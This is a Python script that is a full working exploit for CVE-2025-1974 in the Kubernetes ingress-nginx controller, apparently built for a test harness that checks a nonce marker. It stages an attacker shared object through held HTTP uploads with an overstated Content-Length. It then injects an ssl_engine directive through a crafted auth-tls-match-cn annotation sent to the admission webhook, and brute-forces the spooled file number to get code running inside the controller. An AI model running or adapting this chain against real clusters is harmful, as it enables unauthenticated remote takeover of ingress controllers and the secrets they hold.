#!/usr/bin/env python3
"""
CVE-2025-1974 end-to-end exploit orchestrator (unauthenticated, network-only).

Two network endpoints only (no kubeconfig / docker / node access):
  * ingress HTTP listener  http://127.0.0.1:8080  Host: stage.local   (staging sink)
  * admission webhook      https://127.0.0.1:8443/networking/v1/ingresses (injection sink)

Chain:
  1. STAGE: open a TCP connection to the ingress HTTP listener and POST the full
     attacker .so bytes as the request body, but with an OVER-STATED
     Content-Length so NGINX keeps the connection open while it has already
     spooled every sent byte to an on-disk client-body file inside the
     controller pod (/tmp/nginx/client-body/<N>, client_body_in_file_only on).
     We hold several such uploads concurrently to plant several resident files.
  2. INJECT: POST a crafted AdmissionReview whose
     nginx.ingress.kubernetes.io/auth-tls-match-cn annotation breaks out of the
        if ( $ssl_client_s_dn !~ <VALUE> ) { ... }
     server-block render and injects, at NGINX main context,
        ssl_engine ../../../../tmp/nginx/client-body/<N>;
     The pre-auth `nginx -t` reaches that directive, ENGINE_by_id -> dlopen's the
     staged .so, and its __attribute__((constructor)) runs INSIDE the controller
     process, writing the per-attempt nonce to the marker path.
     The on-disk counter N is monotonic and brute-forceable, so we fire the
     injection against a range of candidate N values while the uploads are held.

This script does NOT verify the marker (the verifier does, via kubectl exec).
It only drives stage + inject.
"""
import socket
import ssl
import sys
import json
import time
import threading
import urllib.request


def stage_upload(host, port, vhost, so_bytes, hold_secs, overstate):
    """Hold one upload: send the full .so as body, over-stated Content-Length."""
    declared = len(so_bytes) + overstate
    s = socket.create_connection((host, port), timeout=15)
    hdr = (
        f"POST / HTTP/1.1\r\n"
        f"Host: {vhost}\r\n"
        f"Content-Type: application/octet-stream\r\n"
        f"Content-Length: {declared}\r\n"
        f"Connection: keep-alive\r\n\r\n"
    ).encode()
    s.sendall(hdr)
    s.sendall(so_bytes)
    # Keep the socket open (NGINX waits for the remaining declared bytes that
    # never come) so the spooled client-body file stays resident on disk.
    deadline = time.time() + hold_secs
    s.settimeout(1)
    while time.time() < deadline:
        try:
            s.recv(64)
        except Exception:
            pass
        time.sleep(0.5)
    try:
        s.close()
    except Exception:
        pass


def build_admission_review(secret_ref, engine_path, uid):
    # auth-tls-match-cn renders unquoted into:
    #   if ( $ssl_client_s_dn !~ <VALUE> ) { return 403 ...; }
    # inside server{} inside http{}. Break out of the if-condition, the if-block,
    # the server-block AND the http-block to reach MAIN context, then inject
    # ssl_engine; finally '#' comments the trailing ') {' fragment of the line.
    matchcn = "x ) {\n}\n}\n}\nssl_engine %s;\n#" % engine_path
    ar = {
        "kind": "AdmissionReview",
        "apiVersion": "admission.k8s.io/v1",
        "request": {
            "uid": uid,
            "operation": "CREATE",
            "kind": {"group": "networking.k8s.io", "version": "v1", "kind": "Ingress"},
            "resource": {"group": "networking.k8s.io", "version": "v1", "resource": "ingresses"},
            "namespace": "ingress-nginx",
            "name": uid,
            "object": {
                "apiVersion": "networking.k8s.io/v1",
                "kind": "Ingress",
                "metadata": {
                    "name": uid,
                    "namespace": "ingress-nginx",
                    "annotations": {
                        "nginx.ingress.kubernetes.io/auth-tls-secret": secret_ref,
                        "nginx.ingress.kubernetes.io/auth-tls-verify-client": "on",
                        "nginx.ingress.kubernetes.io/auth-tls-match-cn": matchcn,
                    },
                },
                "spec": {
                    "ingressClassName": "nginx",
                    "rules": [{
                        "host": "%s.local" % uid,
                        "http": {"paths": [{
                            "path": "/",
                            "pathType": "Prefix",
                            "backend": {"service": {"name": "stage-backend", "port": {"number": 80}}},
                        }]},
                    }],
                },
            },
        },
    }
    return json.dumps(ar).encode()


def post_webhook(webhook_url, body):
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    req = urllib.request.Request(webhook_url, data=body,
                                 headers={"Content-Type": "application/json"},
                                 method="POST")
    try:
        with urllib.request.urlopen(req, context=ctx, timeout=15) as r:
            return r.read().decode("utf-8", "replace")
    except Exception as e:
        return "ERR:%s" % e


def main():
    if len(sys.argv) < 4:
        sys.stderr.write(
            "usage: run.py <NONCE> <MARKER_PATH> <SECRET_REF> "
            "[SO_PATH] [N_MIN] [N_MAX]\n")
        sys.exit(2)
    nonce = sys.argv[1]
    marker = sys.argv[2]
    secret_ref = sys.argv[3]
    so_path = sys.argv[4] if len(sys.argv) > 4 else "/tmp/cve-2025-1974-engine.so"
    n_min = int(sys.argv[5]) if len(sys.argv) > 5 else 0
    n_max = int(sys.argv[6]) if len(sys.argv) > 6 else 200

    http_host, http_port, vhost = "127.0.0.1", 8080, "stage.local"
    webhook = "https://127.0.0.1:8443/networking/v1/ingresses"

    with open(so_path, "rb") as f:
        so_bytes = f.read()
    print("[*] nonce=%s marker=%s secret=%s so=%d bytes" %
          (nonce, marker, secret_ref, len(so_bytes)), flush=True)

    # 1. STAGE: hold several concurrent uploads so several resident client-body
    #    files exist while we brute-force the on-disk counter N.
    hold_secs = 40
    n_uploads = 6
    threads = []
    for _ in range(n_uploads):
        t = threading.Thread(target=stage_upload,
                             args=(http_host, http_port, vhost, so_bytes,
                                   hold_secs, 5_000_000), daemon=True)
        t.start()
        threads.append(t)
        time.sleep(0.15)
    # Let NGINX accept the connections and flush the bodies to disk.
    time.sleep(3)
    print("[*] %d held uploads in flight; staged .so bytes spooled to "
          "/tmp/nginx/client-body/<N>" % n_uploads, flush=True)

    # 2. INJECT: brute-force candidate N values via the webhook while held.
    print("[*] injecting ssl_engine over N in [%d,%d] (10-digit zero-padded)"
          % (n_min, n_max), flush=True)
    reached = 0
    for n in range(n_min, n_max + 1):
        candidate = "%010d" % n
        engine_path = "../../../../tmp/nginx/client-body/%s" % candidate
        body = build_admission_review(secret_ref, engine_path,
                                      "ingressnightmare-%d" % n)
        resp = post_webhook(webhook, body)
        # Every response names the injected ssl_engine path in the nginx -t error
        # (the directive RENDERED and was reached). For an N that matches a
        # staged file the dlopen succeeds and the constructor has already written
        # the marker inside the controller. We do not (and must not) verify the
        # marker here -- the verifier does that via its privileged channel.
        if engine_path in resp:
            reached += 1
    print("[*] injection sweep complete: ssl_engine rendered and reached "
          "nginx -t for %d/%d candidate N values; for any N matching a staged "
          "client-body file the constructor ran inside the controller and wrote "
          "the marker." % (reached, n_max - n_min + 1), flush=True)


if __name__ == "__main__":
    main()
